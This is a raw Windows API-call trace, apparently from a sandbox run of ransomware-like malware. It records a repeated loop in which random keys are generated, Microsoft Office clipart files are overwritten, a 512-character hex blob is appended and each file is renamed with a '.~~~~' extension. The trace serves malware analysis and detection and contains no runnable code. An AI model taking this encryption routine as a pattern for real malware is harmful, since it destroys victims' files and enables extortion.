	[0120.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.714] GetLastError () returned 0x0
	[0120.714] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.715] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.715] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.715] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.715] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.715] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24070553661) returned 1
	[0120.716] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb16bd450, dwHighDateTime=0x1d60e1e)) 
	[0120.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea3a0
	[0120.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea3a0 | out: hHeap=0x300000) returned 1
	[0120.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.716] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6748
	[0120.716] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.716] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.716] GetLastError () returned 0x0
	[0120.716] GetLastError () returned 0x0
	[0120.716] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.717] GetLastError () returned 0x0
	[0120.717] GetLastError () returned 0x0
	[0120.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff894, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.718] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x76c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x76c, lpOverlapped=0x0) returned 1
	[0120.719] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.719] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.720] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.720] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.720] CloseHandle (hObject=0x130) returned 1
	[0120.720] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.720] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01842_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01842_.gif.~~~~")) returned 1
	[0120.721] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.722] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.722] GetLastError () returned 0x0
	[0120.722] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.723] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.723] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.723] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.723] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24071327552) returned 1
	[0120.723] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb16e35b0, dwHighDateTime=0x1d60e1e)) 
	[0120.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.723] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ea3d8
	[0120.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea3d8 | out: hHeap=0x300000) returned 1
	[0120.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.724] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b67e0
	[0120.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.724] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.724] GetLastError () returned 0x0
	[0120.724] GetLastError () returned 0x0
	[0120.724] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.725] GetLastError () returned 0x0
	[0120.725] GetLastError () returned 0x0
	[0120.812] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffed2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.813] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x12d1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x12d1, lpOverlapped=0x0) returned 1
	[0120.815] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.815] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.815] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.815] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.815] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.816] CloseHandle (hObject=0x130) returned 1
	[0120.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.816] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01843_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01843_.gif.~~~~")) returned 1
	[0120.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.817] GetLastError () returned 0x0
	[0120.818] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.819] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.819] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.819] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.819] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.819] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24081001392) returned 1
	[0120.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb17c7df0, dwHighDateTime=0x1d60e1e)) 
	[0120.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b6e8
	[0120.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.820] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b6e8 | out: hHeap=0x300000) returned 1
	[0120.820] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.821] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6878
	[0120.821] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.821] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.821] GetLastError () returned 0x0
	[0120.821] GetLastError () returned 0x0
	[0120.821] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.821] GetLastError () returned 0x0
	[0120.822] GetLastError () returned 0x0
	[0120.857] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe4fd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.857] WriteFile (in: hFile=0x130, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1b03, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x1b03, lpOverlapped=0x0) returned 1
	[0120.858] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.858] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.858] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.859] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.859] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.859] CloseHandle (hObject=0x130) returned 1
	[0120.859] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.859] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.~~~~")) returned 1
	[0120.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.860] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.860] GetLastError () returned 0x0
	[0120.872] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.891] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.891] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.891] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.891] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24088135229) returned 1
	[0120.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1860370, dwHighDateTime=0x1d60e1e)) 
	[0120.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.891] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b448
	[0120.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b448 | out: hHeap=0x300000) returned 1
	[0120.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.892] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0120.892] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.892] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.892] GetLastError () returned 0x0
	[0120.892] GetLastError () returned 0x0
	[0120.893] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.893] GetLastError () returned 0x0
	[0120.893] GetLastError () returned 0x0
	[0120.895] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffee2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.896] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x11d1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x11d1, lpOverlapped=0x0) returned 1
	[0120.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0120.898] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.898] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.898] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.898] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.898] CloseHandle (hObject=0x148) returned 1
	[0120.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5558
	[0120.899] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143748.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143748.gif.~~~~")) returned 1
	[0120.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5558 | out: hHeap=0x300000) returned 1
	[0120.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0120.900] GetLastError () returned 0x0
	[0120.901] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0120.902] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.902] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0120.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0120.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0120.902] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24089254866) returned 1
	[0120.903] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb18864d0, dwHighDateTime=0x1d60e1e)) 
	[0120.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0120.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0120.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0120.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b4b8
	[0120.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b4b8 | out: hHeap=0x300000) returned 1
	[0120.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0120.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.903] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.904] GetLastError () returned 0x0
	[0120.904] GetLastError () returned 0x0
	[0120.904] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.904] GetLastError () returned 0x0
	[0120.904] GetLastError () returned 0x0
	[0120.907] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffbee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.907] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x412, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x412, lpOverlapped=0x0) returned 1
	[0121.055] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0121.055] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.055] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.055] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.055] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.055] CloseHandle (hObject=0x148) returned 1
	[0121.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5780
